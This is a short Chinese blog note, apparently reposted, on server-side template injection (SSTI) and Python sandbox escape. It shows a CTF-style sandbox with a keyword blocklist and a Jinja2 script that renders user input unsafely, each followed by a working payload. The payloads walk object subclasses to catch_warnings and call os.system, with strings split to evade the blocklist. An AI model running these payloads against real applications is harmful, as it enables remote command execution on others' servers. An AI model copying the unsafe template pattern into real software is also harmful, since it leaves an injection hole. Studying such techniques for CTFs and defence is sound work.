ssti记录

先看个python沙箱:

#!/usr/bin/env python
from __future__ import print_function
 
print("Welcome to my Python sandbox! Enter commands below!")
 
banned = [ 
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]
 
targets =__builtins__.__dict__.keys() 
targets.remove('raw_input') 
targets.remove('print') 
for x in targets: 
    del __builtins__.__dict__[x]
 
while 1: 
    print(">>>", end=' ')
    data = raw_input()
 
    for no in banned:
        if no.lower() indata.lower():
            print("Nobueno")
            break
    else: # this means nobreak
        exec data

直接给出paylaod:

[c for c in [].__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('id')

接着看ssti:

ssti.py:

import sys
from jinja2 import Template

template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
print template.render()

payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{{c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}{% endif %}{% endfor %}

具体ssti,绕过python沙箱的内容看下面这几篇文章:

参考链接:

https://www.freebuf.com/articles/system/97146.html

https://skysec.top/2018/04/15/Long-Ago-AWD-Flasky/#%E5%89%8D%E8%AE%B0

http://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/

https://qvq.im/post/%E7%BD%91%E9%BC%8E%E6%9D%AF%E7%AC%AC%E4%B8%89%E5%9C%BA%20mmmmy%20writeup

https://xz.aliyun.com/t/2648

猜你喜欢

转载自www.cnblogs.com/afanti/p/10000525.html